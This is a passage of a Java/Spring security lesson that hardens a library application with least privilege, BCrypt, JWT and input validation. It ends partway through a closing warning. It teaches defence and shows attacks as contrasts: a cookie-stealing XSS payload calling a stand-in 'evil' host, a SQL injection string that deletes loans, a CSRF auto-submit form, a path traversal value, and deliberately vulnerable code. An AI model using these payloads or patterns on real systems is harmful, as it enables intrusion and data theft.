BiblioTech is in production. And it has two holes the size of an entire project.
The first: anyone can do anything. There is no authentication, no authorisation, passwords do not exist as a concept, the API is open to whoever stumbles across it, and nobody has checked whether it is vulnerable to the things that put applications in the news.
The second: when something breaks, you will find out through a phone call. There are no metrics, no traces, no alerts. All that exists is text on the standard output of a container that gets destroyed on the next deployment.
This lesson closes both, and closes the course.
It is organised in four parts. Security: what attacks a Java application and how BiblioTech defends against each thing, with Spring Security applied for real. Observability: the three pillars, and how to know what is happening inside a system you cannot attach a debugger to. Evolution: how to make a system survive the years, the API changes, the upgrades and the growth. And the close of the course: BiblioTech's full journey module by module, what you can do now, what this course does not cover, and where to go next.
Contents
- Least privilege and defence in depth
- The most common vulnerabilities in a Java application
- Vulnerable dependencies and SBOM
- Spring Security: the filter chain
- Authentication versus authorisation
SecurityFilterChain: the modern configuration- Passwords: BCrypt and what is never done
- Authorisation with
@PreAuthorize - JWT for the REST API
- HTTPS, security headers and limits
- Validating every external input
- A warning about real security
- Observability: the three pillars
- Actuator and Micrometer
- Business metrics
- Prometheus and Grafana
- The four golden signals
- Distributed tracing
- Logs in production
- Useful alerts versus noise
- The BiblioTech dashboard
- API versioning and deprecation
- Technical debt and upgrades
- Documentation that survives
- How to grow BiblioTech
- When NOT to split into microservices
- Common Mistakes and Tips
- Exercises
- Closing the course
Part I: Security
- Least privilege and defence in depth
Two principles hold up everything else.
Least privilege: every component must have exactly the permissions it needs, and not one more.
| Component | Wrong privilege | Least privilege |
|---|---|---|
| Database user | postgres (superuser) |
SELECT/INSERT/UPDATE/DELETE on the application schema |
| Container user | root |
UID 1001, no capabilities |
| Metadata API token | Read and write | Read only |
| Employee in BiblioTech | Administrator | EMPLOYEE, and LIBRARIAN only for whoever needs it |
| CI token | Full access to the repository | contents: read, packages: write |
-- The application user must NOT be able to drop tables
CREATE USER bibliotech_app WITH PASSWORD :'app_password';
GRANT CONNECT ON DATABASE bibliotech TO bibliotech_app;
GRANT USAGE ON SCHEMA public TO bibliotech_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO bibliotech_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO bibliotech_app;
-- No CREATE, no DROP, no ALTER: the schema is governed by Flyway with ANOTHER user
CREATE USER bibliotech_migrations WITH PASSWORD :'migrations_password';
GRANT ALL PRIVILEGES ON DATABASE bibliotech TO bibliotech_migrations;Having migrations use a different user from the application has one concrete consequence: a SQL injection in the application cannot drop tables, because the user running it has no permission to do so.
Defence in depth: several independent layers, so that one of them failing does not compromise the system.
flowchart TD
A["Attacker"] --> C1["1. WAF / rate limiting"]
C1 --> C2["2. TLS and security headers"]
C2 --> C3["3. Authentication (JWT)"]
C3 --> C4["4. Authorisation (roles and @PreAuthorize)"]
C4 --> C5["5. Input validation"]
C5 --> C6["6. Parameterised queries"]
C6 --> C7["7. Least privilege in the database"]
C7 --> D[("Data")]
Seven layers. An attacker who gets past input validation still runs into parameterised queries; if they got past that, into a database user that cannot delete anything. No single layer is enough on its own, and that is exactly the idea.
- The most common vulnerabilities in a Java application
| # | Vulnerability | What it allows | Prevention in BiblioTech |
|---|---|---|---|
| 1 | SQL injection | Reading, modifying or wiping the whole database | JPA with parameters; never concatenate (11-03) |
| 2 | XSS | Running JavaScript in another user's browser | Thymeleaf's automatic escaping; CSP |
| 3 | CSRF | Performing actions on the user's behalf | CSRF token in forms; irrelevant with JWT in a header |
| 4 | Broken access control | Viewing or modifying other people's data | @PreAuthorize + ownership check |
| 5 | Insecure deserialisation | Remote code execution | Never deserialise external data; no dynamic typing (07-05, 11-07) |
| 6 | Sensitive data exposure | Leaking passwords, tokens, personal data | DTOs; no stack traces to the client; log filters (06-07) |
| 7 | Vulnerable dependencies | Whatever the CVE allows | Automated scanning, updates, SBOM (11-01) |
| 8 | Insecure configuration | Open management endpoints, default credentials | Restricted Actuator; no defaults in production |
| 9 | Cryptographic failures | Cracked passwords, intercepted traffic | BCrypt; TLS mandatory |
| 10 | Missing logging and monitoring | An attack goes unnoticed for months | Auditing and alerts (part II) |
1. SQL injection. The classic attack and still the most profitable:
// VULNERABLE. With text = "'; DELETE FROM loans; --" the query becomes two queries.
String jpql = "select m from Material m where m.title like '%" + text + "%'";
em.createQuery(jpql, Material.class).getResultList();// SAFE: the parameter is NEVER interpreted as SQL. It is a value, not code.
em.createQuery("select m from Material m where lower(m.title) like lower(:text)", Material.class)
.setParameter("text", "%" + text + "%")
.getResultList();Why it works: the engine receives the query and the parameters through separate channels. The query is compiled before the values are known, so a value cannot change its structure. Spring Data does this by default, and so does CriteriaBuilder (12-04).
The one spot where it is still possible to get it wrong, and which deserves special vigilance:
// DANGER: sorting CANNOT be parameterised
@Query(value = "select * from materials order by " + "#{#sort}", nativeQuery = true) // BAD// SAFE: allow-list. Never user text in the structure of the query.
private static final Set<String> ALLOWED_SORTS = Set.of("title", "author", "publication_year");
public List<Material> sortedBy(String field) {
if (!ALLOWED_SORTS.contains(field)) {
throw new InvalidParameterException("Sort field not allowed: " + field);
}
return em.createQuery("select m from Material m order by m." + field, Material.class)
.getResultList();
}2. XSS (Cross-Site Scripting). It happens when you serve HTML containing data a user typed in:
<!-- VULNERABLE: if the title is <script>fetch('http://evil/'+document.cookie)</script> -->
<td th:utext="${material.title}"></td><!-- SAFE: th:text ESCAPES the HTML. It is Thymeleaf's default. -->
<td th:text="${material.title}"></td>th:utext (unescaped) exists for legitimate cases and is exactly the one that opens the door. The rule is: th:utext only with content you generated yourself, never with user data.
For a REST API that returns JSON the risk is lower —Jackson escapes correctly— but the extra defence is the Content Security Policy (section 10).
3. CSRF (Cross-Site Request Forgery). A malicious page the user visits while they have a session open in BiblioTech:
<!-- On malicious-site.com -->
<form action="https://bibliotech.nexussoftware.com/api/materials/978-0000000001" method="POST">
<input type="hidden" name="_method" value="DELETE">
</form>
<script>document.forms[0].submit();</script>If authentication travels in a session cookie, the browser sends it automatically and the request goes through. Protections:
| Authentication | Vulnerable to CSRF? | Protection |
|---|---|---|
| Session cookie | Yes | CSRF token + SameSite=Strict |
JWT in the Authorization header |
No | The browser does not send it by itself |
| JWT in a cookie | Yes | CSRF token all the same |
That is why Spring Security disables CSRF on stateless APIs with a JWT in a header: it is not sloppiness, it is that the attack vector does not exist.
4. Broken access control. The most frequent and the most underestimated:
// VULNERABLE: any authenticated employee sees anybody else's loans
@GetMapping("/api/employees/{id}/loans")
public List<LoanResponse> loansOf(@PathVariable Long id) {
return manager.loansOf(id).stream().map(LoanResponse::from).toList();
}// SAFE: either it is you, or you are a librarian
@GetMapping("/api/employees/{id}/loans")
@PreAuthorize("#id == authentication.principal.id or hasRole('LIBRARIAN')")
public List<LoanResponse> loansOf(@PathVariable Long id) { … }The technical name for this vulnerability is IDOR (insecure direct object reference), and the rule that avoids it is simple to state and easy to forget: knowing who you are is not enough; you have to check that the resource is yours.
5. Insecure deserialisation. This picks up 07-05 and 11-07, and deserves a prominent warning because it is not a confidentiality failure: it is remote code execution.
// EXTREMELY DANGEROUS: never with data you do not control.
ObjectInputStream ois = new ObjectInputStream(userInput);
Object object = ois.readObject(); // this can execute arbitrary codeAn attacker builds an object graph that, when deserialised, chains calls into libraries present on the classpath (gadget chains) until it reaches Runtime.exec(). The attacked class does not even have to be yours.
// And in Jackson, the equivalent:
mapper.enableDefaultTyping(); // NEVER with external data
mapper.activateDefaultTyping(validator, …); // only with a strict allow-listRules: do not use Java serialisation for external data; use JSON with concrete classes; if you need polymorphism, @JsonTypeInfo with explicit @JsonSubTypes backed by sealed; and if you inherit code that deserialises, apply an ObjectInputFilter (Java 9+).
6. Sensitive data exposure. Three vectors, all three present in BiblioTech before this lesson:
// (a) In the response: entity exposed together with the password hash
@GetMapping("/api/employees/{id}")
public Employee byId(@PathVariable Long id) { … } // BAD: DTO, always (12-01)
// (b) In the log: personal data and credentials
log.info("Authenticating {} with password {}", email, password); // BAD, and very common
log.debug("Request received: {}", request); // what is inside it?
// (c) In the error: a stack trace that reveals versions and internal structure
server.error.include-stacktrace: always // BAD (12-04)The defence in the log, with a masking filter:
public class SensitiveDataMasker extends ClassicConverter {
private static final List<Pattern> PATTERNS = List.of(
Pattern.compile("(\"(?:password|passwd|token|apiKey|secret)\"\\s*:\\s*\")([^\"]+)(\")",
Pattern.CASE_INSENSITIVE),
Pattern.compile("(Authorization:\\s*Bearer\\s+)(\\S+)", Pattern.CASE_INSENSITIVE),
Pattern.compile("\\b(\\d{8})([A-Za-z])\\b") // national ID number
);
@Override
public String convert(ILoggingEvent event) {
String message = event.getFormattedMessage();
for (Pattern p : PATTERNS) {
message = p.matcher(message).replaceAll("$1***$3");
}
return message;
}
}
- Vulnerable dependencies and SBOM
This picks up 11-01 and Log4Shell. Your code can be flawless and still be vulnerable, because 90% of what runs in production was written by somebody else.
Automated scanning:
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>10.0.4</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS> <!-- CVSS 7+ = high or critical -->
<suppressionFiles>
<suppressionFile>config/cve-suppressions.xml</suppressionFile>
</suppressionFiles>
</configuration>
<executions>
<execution><goals><goal>check</goal></goals></execution>
</executions>
</plugin>Dependabot, which opens PRs automatically:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: maven
directory: "/"
schedule: { interval: weekly, day: monday }
open-pull-requests-limit: 10
groups:
spring:
patterns: ["org.springframework*"] # group them: less noise
testing:
patterns: ["*junit*", "*mockito*", "*assertj*", "*testcontainers*"]
ignore:
- dependency-name: "*"
update-types: ["version-update:semver-major"] # majors, by handSBOM (Software Bill of Materials): the complete inventory of everything the artefact contains. When the next Log4Shell shows up, the question "are we affected?" is answered with a query against the SBOM instead of with two days of archaeology.
<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
<version>2.8.1</version>
<executions>
<execution>
<phase>package</phase>
<goals><goal>makeAggregateBom</goal></goals>
</execution>
</executions>
</plugin>./mvnw package # generates target/bom.json and target/bom.xml
grep -i "log4j" target/bom.json # answer in one second
- Spring Security: the filter chain
Spring Security is, essentially, a chain of servlet filters that runs before the request reaches the DispatcherServlet (12-04). It is the Chain of Responsibility pattern from 12-02 in its purest form.
flowchart TD
P["HTTP request"] --> F1["SecurityContextPersistenceFilter<br/>restores the context"]
F1 --> F2["CorsFilter"]
F2 --> F3["CsrfFilter"]
F3 --> F4["JwtFilter (ours)<br/>validates the token and authenticates"]
F4 --> F5["AnonymousAuthenticationFilter"]
F5 --> F6["ExceptionTranslationFilter<br/>turns exceptions into 401/403"]
F6 --> F7["AuthorizationFilter<br/>is it allowed?"]
F7 --> D["DispatcherServlet"]
D --> C["Controller"]
F7 -.->|"no permission"| E["403 Forbidden"]
F4 -.->|"invalid token"| E401["401 Unauthorized"]
style F4 fill:#e3f2fd,stroke:#1565c0
Each filter does one thing and hands control to the next. The practical consequence: adding your own authentication means inserting a filter at the right point, not rewriting anything.
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>With that dependency alone, the whole application is protected with basic authentication and a generated password that appears in the log. It is a deliberately safe default: if you configure nothing, nothing is left open.
- Authentication versus authorisation
| Authentication | Authorisation | |
|---|---|---|
| Question | Who are you? | What can you do? |
| When | Once, on the way in | On every operation |
| Failure | 401 Unauthorized | 403 Forbidden |
| In BiblioTech | Email and password → JWT | Roles and ownership check |
The Spring Security concepts:
| Concept | What it is | In BiblioTech |
|---|---|---|
Authentication |
Who is authenticated and with what permissions | The employee and their roles |
Principal |
The identity | BiblioTechUser (our UserDetails) |
GrantedAuthority |
A permission | ROLE_EMPLOYEE, ROLE_LIBRARIAN |
SecurityContext |
Holder for the current authentication | In a ThreadLocal |
UserDetailsService |
Loads the user by their identifier | Queries the employees table |
PasswordEncoder |
Encodes and verifies passwords | BCrypt |
BiblioTech's roles:
| Role | Can |
|---|---|
EMPLOYEE |
Browse the catalogue, create their own loans and reservations, see their own fines |
LIBRARIAN |
All of the above + manage the catalogue, see everybody's loans, waive fines |
ADMIN |
All of the above + manage employees, see management endpoints |
SecurityFilterChain: the modern configuration
SecurityFilterChain: the modern configurationThe old way (WebSecurityConfigurerAdapter) has been removed since Spring Security 6. The current one is declarative, with beans and lambdas:
@Configuration
@EnableWebSecurity
@EnableMethodSecurity // enables @PreAuthorize
public class SecurityConfiguration {
private final JwtAuthenticationFilter jwtFilter;
private final SecurityErrorHandler errorHandler;
@Bean
SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
return http
// Stateless API: there is no server session, so there is no cookie-based CSRF
.csrf(AbstractHttpConfigurer::disable)
.sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
.cors(cors -> cors.configurationSource(corsSource()))
.authorizeHttpRequests(routes -> routes
// --- Public ---
.requestMatchers(HttpMethod.POST, "/api/auth/login", "/api/auth/refresh").permitAll()
.requestMatchers("/actuator/health/**").permitAll()
// --- Read-only catalogue access: any authenticated employee ---
.requestMatchers(HttpMethod.GET, "/api/materials/**").hasAnyRole("EMPLOYEE", "LIBRARIAN", "ADMIN")
// --- Catalogue management: librarians ---
.requestMatchers(HttpMethod.POST, "/api/materials/**").hasRole("LIBRARIAN")
.requestMatchers(HttpMethod.PUT, "/api/materials/**").hasRole("LIBRARIAN")
.requestMatchers(HttpMethod.PATCH, "/api/materials/**").hasRole("LIBRARIAN")
.requestMatchers(HttpMethod.DELETE, "/api/materials/**").hasRole("LIBRARIAN")
// --- Administration ---
.requestMatchers("/api/employees/**").hasRole("ADMIN")
.requestMatchers("/actuator/**").hasRole("ADMIN")
// --- Documentation: outside production only (see the profile) ---
.requestMatchers("/swagger-ui/**", "/v3/api-docs/**").hasRole("ADMIN")
// --- Final rule: EVERYTHING else requires authentication ---
// implicit denyAll by default: whatever is not declared does not get through
.anyRequest().authenticated())
.exceptionHandling(e -> e
.authenticationEntryPoint(errorHandler) // 401 in Problem Details format
.accessDeniedHandler(errorHandler)) // 403 likewise
// Our filter BEFORE the username-and-password one
.addFilterBefore(jwtFilter, UsernamePasswordAuthenticationFilter.class)
.headers(h -> h
.frameOptions(FrameOptionsConfig::deny)
.contentSecurityPolicy(csp -> csp.policyDirectives(
"default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'"))
.httpStrictTransportSecurity(hsts -> hsts
.includeSubDomains(true)
.maxAgeInSeconds(31_536_000)))
.build();
}
@Bean
PasswordEncoder passwordEncoder() {
// Strength 12: ~250 ms per verification on 2026 hardware.
// Slow enough for an attacker, tolerable for a user.
return new BCryptPasswordEncoder(12);
}
@Bean
AuthenticationManager authenticationManager(AuthenticationConfiguration config) throws Exception {
return config.getAuthenticationManager();
}
}Two details that make all the difference:
- The order of the rules matters. They are evaluated top to bottom and the first one that matches wins. Putting
.anyRequest().authenticated()at the top would override everything else. .anyRequest().authenticated()at the end is the safety net: a new endpoint is protected by default. Without that line, any route you had not thought about would be left open.
- Passwords: BCrypt and what is never done
Absolute rule: passwords are NEVER stored in a form that allows them to be recovered. Not in the clear, not reversibly encrypted, not with MD5, not with SHA-1, not with plain SHA-256. What you store is a slow salted hash, and the system never knows the original password.
Why fast hashes will not do:
| Algorithm | Hashes per second (GPU, 2026) | Time for 8 alphanumeric characters |
|---|---|---|
| MD5 | ~200 billion | seconds |
| SHA-1 | ~80 billion | seconds |
| SHA-256 | ~20 billion | minutes |
| BCrypt (strength 12) | ~4,000 | centuries |
SHA-256 is an excellent algorithm… for what it was designed for, which is data integrity. For passwords, its virtue —speed— is exactly the flaw. BCrypt is designed to be deliberately slow and to have that slowness tunable as hardware improves.
@Service
public class AuthenticationService {
private final EmployeeRepository employees;
private final PasswordEncoder encoder;
/** Registration: the password is encoded and the original is discarded immediately. */
@Transactional
public Employee register(String name, String email, char[] password) {
validateStrength(password);
try {
String hash = encoder.encode(new String(password));
return employees.save(Employee.of(name, email, hash));
} finally {
Arrays.fill(password, '\0'); // overwrite it in memory (12-03)
}
}
public Optional<Employee> authenticate(String email, String password) {
Optional<Employee> employee = employees.findByEmail(email);
if (employee.isEmpty()) {
// Compare against a dummy hash so that the response time is the same
// whether or not the user exists. Without this, an attacker can
// ENUMERATE users by measuring latency.
encoder.matches(password, DUMMY_HASH);
return Optional.empty();
}
if (!encoder.matches(password, employee.get().getPasswordHash())) {
return Optional.empty();
}
return employee;
}
}A BCrypt hash looks like this, and contains everything needed to verify it:
$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy │ │ └────────────────────┬──────────────────────────────┘ │ │ └─ salt (22) + hash (31), in base64 │ └───────────────────────── cost: 2^12 = 4,096 iterations └───────────────────────────── algorithm version
The salt is different for every password, which makes precomputed tables useless and means that two users with the same password end up with different hashes.
Strength validation, following modern criteria (NIST SP 800-63B):
private void validateStrength(char[] password) {
// Length matters MORE than complexity: "correct horse battery staple"
// is stronger than "P@ssw0rd" and far easier to remember.
if (password.length < 12) {
throw new WeakPasswordException("Minimum 12 characters");
}
if (password.length > 128) {
throw new WeakPasswordException("Maximum 128 characters"); // avoid DoS through BCrypt
}
if (isCommon(new String(password))) {
throw new WeakPasswordException("This password appears in known breaches");
}
}Alternatives to BCrypt, in current order of preference: Argon2id (winner of the Password Hashing Competition, resistant to GPU and ASIC attacks), scrypt and BCrypt. All three are acceptable; BCrypt is the most available and battle-tested in the Java ecosystem.
- Authorisation with
@PreAuthorize
@PreAuthorizeURL-based configuration is a first filter; fine-grained authorisation belongs in the services, because the same use case is invoked by the API, the CLI and the scheduled jobs.
@Service
public class LoanManager implements ManageLoans {
@Override
@Transactional
@PreAuthorize("hasRole('EMPLOYEE')")
public Loan lend(Isbn isbn, Long employeeId, Integer days) { … }
/** Either it is your own loan, or you are a librarian. */
@Override
@Transactional
@PreAuthorize("@ownership.isOwnLoan(#loanId) or hasRole('LIBRARIAN')")
public ReturnResult returnItem(Long loanId, LocalDate date) { … }
/** Waiving a fine is a decision with a financial impact. */
@Override
@Transactional
@PreAuthorize("hasRole('LIBRARIAN')")
@Audited(action = "WAIVE_FINE")
public void waiveFine(Long loanId, String reason) { … }
/** Filter the result: everybody sees their own. */
@Override
@PostFilter("filterObject.employeeId == authentication.principal.id or hasRole('LIBRARIAN')")
public List<Loan> allActive() { … }
}The ownership-checking bean, which is the one that closes the IDOR hole:
@Component("ownership")
public class OwnershipChecker {
private final LoanRepository loans;
public boolean isOwnLoan(Long loanId) {
Long userId = currentUser().getId();
return loans.findById(loanId)
.map(l -> l.getEmployeeId().equals(userId))
.orElse(false);
}
private BiblioTechUser currentUser() {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
if (auth == null || !(auth.getPrincipal() instanceof BiblioTechUser user)) {
throw new AccessDeniedException("No authenticated user");
}
return user;
}
}And a technical warning that connects back to 12-02: @PreAuthorize works through a proxy, exactly like @Transactional. It therefore does not apply to self-invocations (this.method()), nor to private or final methods. Same mechanism, same limitations.
Auditing of sensitive actions, with an aspect (11-02):
@Aspect
@Component
public class AuditAspect {
private static final Logger audit = LoggerFactory.getLogger("AUDIT");
@AfterReturning("@annotation(audited)")
public void record(JoinPoint point, Audited audited) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
audit.info("action={} user={} arguments={} traceId={}",
audited.action(),
auth != null ? auth.getName() : "anonymous",
Arrays.toString(point.getArgs()),
MDC.get("traceId"));
}
}The audit log is a different thing from the application log: it is kept for longer, it cannot be switched off, and it is what answers "who waived this €200.00 fine?".
- JWT for the REST API
A JWT (JSON Web Token) is a signed string containing claims about the user. Its advantage: the server keeps no session state, which is what enables the horizontal scaling from 12-06.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6Ik1hcnRhIFJ1aXoifQ.4pcPyMD09olPSyXn └───────── header ─────────┘ └────────── payload ──────────┘ └── signature ──┘
// Header // Payload
{ "alg": "HS256", "typ": "JWT" } { "sub": "1",
"email": "[email protected]",
"roles": ["EMPLOYEE", "LIBRARIAN"],
"iat": 1785000000,
"exp": 1785003600 }Fundamental warning: the payload is NOT encrypted, only signed. Anybody can base64-decode it and read it. The signature guarantees that it has not been tampered with, not that it is secret. Never put anything in a JWT that you would not want read.
The full flow:
sequenceDiagram
autonumber
participant C as Client
participant A as AuthController
participant S as AuthenticationService
participant J as JwtService
participant F as JwtFilter
participant R as LoanController
C->>A: POST /api/auth/login {email, password}
A->>S: authenticate(email, password)
S->>S: BCrypt.matches(password, hash)
S-->>A: Employee
A->>J: generateAccess(employee) and generateRefresh(employee)
J-->>A: access token (15 min) + refresh token (7 days)
A-->>C: 200 {accessToken, refreshToken, expiresIn}
Note over C: stores the tokens
C->>F: GET /api/loans + Authorization Bearer token
F->>J: validate(token)
J-->>F: claims (sub, roles)
F->>F: SecurityContext with the authentication
F->>R: continues the chain
R-->>C: 200 with the loans
Note over C,F: when the access token expires
C->>A: POST /api/auth/refresh {refreshToken}
A->>J: validate and check that it is not revoked
A-->>C: 200 with a fresh access token
@Service
public class JwtService {
private final SecretKey key;
private final Duration accessTtl;
private final Duration refreshTtl;
private final Clock clock; // 10-05: injectable, so it can be tested
public JwtService(JwtProperties props, Clock clock) {
// The key comes from an environment variable and must be at least 256 bits.
// If it is short or sits in the code, the signature can be forged.
byte[] bytes = Decoders.BASE64.decode(props.secret());
if (bytes.length < 32) {
throw new IllegalStateException("The JWT key must be at least 256 bits");
}
this.key = Keys.hmacShaKeyFor(bytes);
this.accessTtl = props.accessTtl();
this.refreshTtl = props.refreshTtl();
this.clock = clock;
}
public String generateAccess(BiblioTechUser user) {
Instant now = Instant.now(clock);
return Jwts.builder()
.subject(String.valueOf(user.getId()))
.claim("email", user.getUsername())
.claim("roles", user.getAuthorities().stream()
.map(GrantedAuthority::getAuthority).toList())
.issuer("bibliotech.nexussoftware.com")
.issuedAt(Date.from(now))
.expiration(Date.from(now.plus(accessTtl)))
.id(UUID.randomUUID().toString()) // jti: lets us revoke this specific token
.signWith(key, Jwts.SIG.HS256)
.compact();
}
public Claims validate(String token) {
try {
return Jwts.parser()
.verifyWith(key)
.requireIssuer("bibliotech.nexussoftware.com")
.clockSkewSeconds(30) // clock tolerance between servers
.build()
.parseSignedClaims(token)
.getPayload();
} catch (ExpiredJwtException e) {
throw new ExpiredTokenException(e); // the client must refresh
} catch (JwtException | IllegalArgumentException e) {
throw new InvalidTokenException(e); // wrong signature or tampered token
}
}
}@Component
public class JwtAuthenticationFilter extends OncePerRequestFilter {
private final JwtService jwt;
private final RevokedTokenRegistry revoked;
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
FilterChain chain) throws ServletException, IOException {
try {
extractToken(request).ifPresent(token -> {
Claims claims = jwt.validate(token);
if (revoked.isRevoked(claims.getId())) {
throw new RevokedTokenException();
}
var authorities = ((List<?>) claims.get("roles")).stream()
.map(String::valueOf)
.map(SimpleGrantedAuthority::new)
.toList();
var authentication = new UsernamePasswordAuthenticationToken(
new BiblioTechUser(Long.valueOf(claims.getSubject()),
claims.get("email", String.class), authorities),
null, authorities);
SecurityContextHolder.getContext().setAuthentication(authentication);
// Correlation: the user identifier in the MDC from 11-07
MDC.put("userId", claims.getSubject());
});
chain.doFilter(request, response);
} catch (ExpiredTokenException | InvalidTokenException | RevokedTokenException e) {
SecurityContextHolder.clearContext();
writeProblem(response, HttpStatus.UNAUTHORIZED, e.getMessage());
} finally {
MDC.remove("userId"); // rule from 11-07: ALWAYS clean up in a thread pool
}
}
private Optional<String> extractToken(HttpServletRequest request) {
String header = request.getHeader(HttpHeaders.AUTHORIZATION);
return (header != null && header.startsWith("Bearer "))
? Optional.of(header.substring(7))
: Optional.empty();
}
}The risks of JWT, unvarnished:
| Risk | Why | Mitigation |
|---|---|---|
| It cannot be revoked | It is valid until it expires; the server never looks it up | Short lifetime (15 min) + revocation list by jti |
| Readable payload | It is only signed | Nothing sensitive inside |
| Token theft | Whoever holds it, is you | HTTPS mandatory; short lifetime |
The alg: none attack |
An unsigned token, accepted by badly used parsers | Require the algorithm explicitly when validating |
| Weak key | HS256 with a short key is brute-forceable | Minimum 256 bits, from an environment variable |
| Client-side storage | localStorage is reachable from XSS |
HttpOnly + Secure + SameSite cookie |
Where to keep the token in the browser, which is the most argued-over decision:
| Location | XSS | CSRF | Verdict |
|---|---|---|---|
localStorage |
Vulnerable | Immune | Convenient, worse |
sessionStorage |
Vulnerable | Immune | Same, but lost on close |
HttpOnly+Secure+SameSite=Strict cookie |
Immune | Protected by SameSite | Preferable |
The reason: an HttpOnly cookie is not reachable from JavaScript, so an XSS cannot steal it. With localStorage, a single XSS on any page of your domain hands over the whole token.
And the refresh token, which is revocable precisely because it is stored in the database:
@Entity
public class RefreshToken {
@Id private String id; // jti
private Long employeeId;
private String tokenHash; // the token is stored hashed too
private Instant expiresAt;
private Instant revokedAt;
private String device; // so we can show "active sessions"
}
- HTTPS, security headers and limits
HTTPS is mandatory, no exceptions. Without TLS, credentials and tokens travel in the clear across every intermediate network.
server:
ssl:
enabled: true
key-store: ${TLS_KEYSTORE_PATH}
key-store-password: ${TLS_KEYSTORE_PASSWORD}
key-store-type: PKCS12
protocol: TLS
enabled-protocols: TLSv1.3,TLSv1.2 # TLS 1.0 and 1.1 are obsoleteIn practice, the usual arrangement is to terminate TLS at a reverse proxy or load balancer (nginx, Traefik, an Ingress). In that case you have to tell Spring to trust the proxy's headers:
Security headers, each with its associated attack:
| Header | Protects against | Value |
|---|---|---|
Strict-Transport-Security |
Downgrade to HTTP | max-age=31536000; includeSubDomains |
Content-Security-Policy |
XSS | default-src 'self'; object-src 'none' |
X-Content-Type-Options |
MIME type sniffing | nosniff |
X-Frame-Options |
Clickjacking | DENY |
Referrer-Policy |
URL leakage | strict-origin-when-cross-origin |
Permissions-Policy |
Access to camera, microphone… | geolocation=(), camera=() |
Size limits, so that nobody takes the service down with one enormous request:
spring:
servlet:
multipart:
max-file-size: 10MB
max-request-size: 12MB
server:
tomcat:
max-http-form-post-size: 2MB
max-swallow-size: 2MB
connection-timeout: 20s
threads:
max: 200Rate limiting, with Resilience4j (mentioned in 11-07):
@Component
public class RateLimitFilter extends OncePerRequestFilter {
private final Cache<String, Bucket> buckets = Caffeine.newBuilder()
.expireAfterAccess(Duration.ofMinutes(10))
.maximumSize(100_000)
.build();
@Override
protected void doFilterInternal(HttpServletRequest q, HttpServletResponse r, FilterChain c)
throws ServletException, IOException {
String key = keyFor(q); // authenticated user, or IP if anonymous
Bucket bucket = buckets.get(key, k -> newBucket(q));
ConsumptionProbe probe = bucket.tryConsumeAndReturnRemaining(1);
if (probe.isConsumed()) {
r.setHeader("X-RateLimit-Remaining", String.valueOf(probe.getRemainingTokens()));
c.doFilter(q, r);
} else {
long waitSeconds = probe.getNanosToWaitForRefill() / 1_000_000_000;
r.setStatus(HttpStatus.TOO_MANY_REQUESTS.value()); // 429
r.setHeader(HttpHeaders.RETRY_AFTER, String.valueOf(waitSeconds));
writeProblem(r, "Too many requests. Try again in " + waitSeconds + " s.");
}
}
private Bucket newBucket(HttpServletRequest q) {
// Login is limited MUCH more tightly: it is the door to brute-force attacks
boolean isLogin = q.getRequestURI().startsWith("/api/auth/login");
int perMinute = isLogin ? 5 : 100;
return Bucket.builder()
.addLimit(l -> l.capacity(perMinute).refillGreedy(perMinute, Duration.ofMinutes(1)))
.build();
}
}
- Validating every external input
This picks up 09-03 and 12-04, and it is stated as a rule:
Every external input is hostile until proven otherwise. External includes: request bodies, parameters, headers, cookies, uploaded files, responses from external APIs, queue messages, command-line arguments and environment variables.
| Input | Risk | Validation |
|---|---|---|
| JSON body | Injection, unexpected fields | @Valid + closed DTO (12-04) |
| Path parameter | Path traversal, injection | Typed converter + pattern |
| Uploaded file name | ../../etc/passwd |
Generated name, never the user's |
| File content | Zip bomb, malware, XXE | Size limit, verified type |
| External API response | Malformed or malicious data | Typed DTO, limits, timeout |
Host header |
Cache poisoning | Allow-list of permitted hosts |
The case of path traversal, which is the easiest mistake to make:
// VULNERABLE: name = "../../../etc/passwd"
@GetMapping("/api/reports/{name}")
public Resource download(@PathVariable String name) throws IOException {
return new FileSystemResource(Path.of("/var/bibliotech/reports/", name));
}// SAFE: normalise and verify that it is still inside the permitted directory
private static final Path BASE = Path.of("/var/bibliotech/reports").toAbsolutePath().normalize();
@GetMapping("/api/reports/{name}")
public Resource download(@PathVariable @Pattern(regexp = "[a-zA-Z0-9._-]{1,64}") String name)
throws IOException {
Path requested = BASE.resolve(name).normalize();
// The DECISIVE check: after normalising, is it still inside BASE?
if (!requested.startsWith(BASE)) {
throw new AccessDeniedException("Path not allowed");
}
if (!Files.isRegularFile(requested)) {
throw new ResourceNotFoundException(name);
}
return new FileSystemResource(requested);
}And XXE (XML External Entity), which affects any XML processing:
// SAFE: disable external entities before parsing any XML
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
- A warning about real security
⚠️ IMPORTANT WARNING
What you have learned in this lesson is a solid foundation, and it is not enough to put into production a system that handles personal data, credentials or money.
A course can teach you the mechanisms: BCrypt, JWT, authorisation, validation, headers. It cannot replace:
- A review by a security professional. Real vulnerabilities usually live in the interactions between components, not in one isolated mechanism. Someone who does this for a living sees things that whoever wrote the code cannot see.
- A penetration test before exposing the system to the internet.
